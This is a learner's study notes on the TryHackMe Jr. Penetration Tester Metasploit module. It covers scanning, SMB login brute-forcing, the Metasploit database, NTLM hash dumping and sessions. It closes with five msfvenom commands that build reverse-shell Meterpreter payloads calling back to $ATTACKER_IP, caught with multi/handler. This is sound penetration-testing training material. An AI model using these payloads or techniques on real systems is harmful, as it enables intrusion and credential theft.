TryHackMe: Jr. Penetration Tester

Exploitation with Metasploit

Scanning

Use search portscan to display built-in Metasploit port scanners. Note that msfconsole needs to be run as root for many scans to work - just like Nmap. That said, in my experience the fancier TCP scans (for example, SYN) don’t work over a VPN… So maybe best to stick with Nmap.

Speaking of which, Nmap can also be called internally (like other shell commands).

The auxiliary/scanner/discovery/udp_sweep module will probe for common UDP services.

Metasploit has a variety of Samba/CIFS scanners too; use search scanner/smb to list them.

NetBIOS = Network Basic Input/Output System

TryHackMe emphasizes the importance of examining the usage of NetBIOS for potential vulnerabilities, though it’s a bit light on specifics about what this means in practice.

Use show advanced to show additional module options.

The auxiliary/scanner/http/http_version module will give you HTTP server version information.

The auxiliary/scanner/smb/smb_login module will allow you to bruteforce Samba logins (username and/or password) using a wordlist(s).

The Metasploit Database

Get basic database status using db_status.

Create and delete workspaces (engagements) with workspace; use -a to add and -d to delete. Switch between workspaces using workspace $NAME.

Use db_nmap to run Nmap (all of the regular options work) and dump the results into the Metasploit database.

The hosts and services commands can then be used to display the, well, hosts and services logged by Metasploit during an engagement. Both commands support an -S search parameter, the results of which can then be added to RHOSTS using the -R parameter.

Exploitation

Show the payloads available for a particular exploit using show payloads. Use set payload to set the payload for the exploit; re-run show options after this to check if the payload has added any additional options that will need to be set before exploitation.

To dump NTLM hashes from Meterpreter, use the hashdump command. Normally only the first four fields are relevant:

Use sessions to, well, manage your sessions (most useful when you’ve backgrounded a payload and/or are working with multiple targets).

Msfvenom

Msfvenom is a tool to create custom versions of Metasploit payloads, encoded into a variety of different binary formats and scripts.

Use --list formats to see available encoding formats.

# 32-bit Linux ELF Meterpreter payload
#
msfvenom -p linux/x86/meterpreter/reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f elf > rev_shell

# 32-bit Windows executable Meterpreter payload
#
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f exe > rev_shell.exe

# PHP Meterpreter payload
#
msfvenom -p php/meterpreter_reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f raw > rev_shell.php

# ASP Meterpreter payload
#
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f asp > rev_shell.asp

# Python Meterpreter payload
#
msfvenom -p cmd/unix/reverse_python \
LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT -f raw > rev_shell.py

Use the exploit/multi/handler module in Metasploit to catch the shells produced using Msfvenom (note that you’ll need to use set payload to tell Metasploit what it’s catching!). We can catch both regular reverse shells and Meterpreter sessions this way.